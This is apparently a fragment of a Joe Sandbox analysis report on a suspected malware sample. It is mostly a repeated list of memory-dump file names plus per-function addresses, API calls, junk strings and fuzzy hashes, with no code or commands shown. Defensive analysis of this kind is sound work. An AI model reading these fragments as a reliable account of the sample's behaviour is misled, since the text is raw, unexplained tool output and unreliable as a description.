Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: \$\$\$]$]$]$^$^$^$_$_$_
API String ID: 0-1108506012
Opcode ID: 8ee11adce3f3c0e0aabc58e5f6d1691a07f9ee84c9f2d93b22dc4c638b78712a
Instruction ID: 5403a2182558f631ea4bfa9b247e43fef612839f9b693df493679a7bfe4bc93f
Opcode Fuzzy Hash: 8ee11adce3f3c0e0aabc58e5f6d1691a07f9ee84c9f2d93b22dc4c638b78712a
Instruction Fuzzy Hash: 61B1067264C7848FD3158A28CC8536BBBD2D7C6328F1D4B2EE5E9573C2C6B9C8858746

Function 00393B50 Relevance: 12.8, APIs: 2, Strings: 5, Instructions: 600
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00393C37
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 00393CB1

Strings

=]=_, xrefs: 00393D0E
+A#C, xrefs: 00393D15
#E#G, xrefs: 00393D1C
eN, xrefs: 003941BA
rp, xrefs: 00393FF3

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: #E#G$+A#C$=]=_$eN$rp
API String ID: 237503144-3451580660
Opcode ID: 7091e59f8be1c4601d772d54227d2f6c422ddef0821740bf7c699a601b04cbe8
Instruction ID: 66a8ad02c3f19f545da7f8688c387ebe36e7ede24bd154aeee31b8133813171d
Opcode Fuzzy Hash: 7091e59f8be1c4601d772d54227d2f6c422ddef0821740bf7c699a601b04cbe8
Instruction Fuzzy Hash: AC1258B1A10205CFDB15CF69C892AAABBB2FF85314F1982ACD445AF355D738D902CBD1

Function 00378600 Relevance: 4.1, Strings: 3, Instructions: 356
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b]u), xrefs: 00378877
}, xrefs: 0037890C
}, xrefs: 00378913

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: FreeLibrary
String ID: b]u)$}$}
API String ID: 3664257935-2900034282
Opcode ID: 5efa98a4849dd5f8cc0d809d85b8cea275e88f3b8ee17e3b44a7f31ec48a74cb
Instruction ID: 80b5db6aede0fb14308dfbcb81401b95a2278e55841426bdb2b33153f7cbf190
Opcode Fuzzy Hash: 5efa98a4849dd5f8cc0d809d85b8cea275e88f3b8ee17e3b44a7f31ec48a74cb
Instruction Fuzzy Hash: 21C1F773E587144BC718DF69C84125AF7D6ABC8710F0EC92EA898EB351EA74DC048BC2

Function 0039D34A Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 398
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0039D3EE

Strings

><+, xrefs: 0039D353

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: ><+
API String ID: 3960555810-2918635699
Opcode ID: 056ab68c3aa12d88388f1933400065054e9d10bab69c66740412177482357d26
Instruction ID: 31a0d7040ca4c9ee1d59b89fb7ecc1bef065fffd6608e3a169f06c807d38c80b
Opcode Fuzzy Hash: 056ab68c3aa12d88388f1933400065054e9d10bab69c66740412177482357d26
Instruction Fuzzy Hash: E7C1C4756047418FDB26CF2AC490762FBE2BF96314F29859DC4DA8B752C735E806CB50

Function 003B0D20 Relevance: 2.9, Strings: 2, Instructions: 425COMMON

Download Yara Rule

Strings

@Ukx, xrefs: 003B0F53
, xrefs: 003B0DC3, 003B0EAB

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID: InitializeThunk
String ID: @Ukx$
API String ID: 2994545307-3636270652
Opcode ID: bde552308230d0f93fbd1e57ab359a5a1f73a66dd3ef4af3b6ba805b5508b2fc
Instruction ID: d5fd348e6229fbd9aceb428ea6191bf70972395445bcd6e8db894a70a98ae7ce
Opcode Fuzzy Hash: bde552308230d0f93fbd1e57ab359a5a1f73a66dd3ef4af3b6ba805b5508b2fc
Instruction Fuzzy Hash: CEB15932B087104BC729CE28DCE12BBB7D6EBC5318F1AC93CDA9657795D6359C058781

Function 0037E687 Relevance: 1.6, Strings: 1, Instructions: 340COMMON

Download Yara Rule

Strings

3A4229991F25CF36BEBA0C6A975F1733, xrefs: 0037E770, 0037E8FE

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753798380.00000000005D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753825266.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753851428.00000000005DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753902687.00000000005E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753929713.00000000005E1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753955342.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753983371.00000000005F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754007940.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754082876.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754106585.000000000064D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.000000000064E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754132285.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754184967.0000000000662000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2754208196.0000000000663000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_370000_iaLId0uLUw.jbxd

Similarity

API ID:
String ID: 3A4229991F25CF36BEBA0C6A975F1733
API String ID: 0-1554982864
Opcode ID: 210f2b5a3adf4654339fcfe563ca2c623db1e0c4d9305e60cab6ca06c873c5bb
Instruction ID: 079028ab3fa5c0c9ce05f6243136af91f4932e3eca4d180f585da2b5d1175562
Opcode Fuzzy Hash: 210f2b5a3adf4654339fcfe563ca2c623db1e0c4d9305e60cab6ca06c873c5bb
Instruction Fuzzy Hash: E7815C756407418BD3258B38CC927A7B7E2FF9A315F1DCAACC48A4B743E67CA8028750

Function 00397440 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00397465

Memory Dump Source

Source File: 00000000.00000002.2753026418.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Offset: 00370000, based on PE: true

Associated: 00000000.00000002.2753001890.0000000000370000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753026418.00000000003B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753243745.00000000003C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753267792.00000000003CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753288525.00000000003D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753310831.00000000003D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753407750.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753428617.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753453479.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753504987.000000000057C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753525417.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753547537.0000000000585000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753568645.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753594664.00000000005A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753615451.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753636825.00000000005B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753657894.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753679133.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753702178.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753723290.00000000005BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753742031.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753761958.00000000005CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2753780425.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
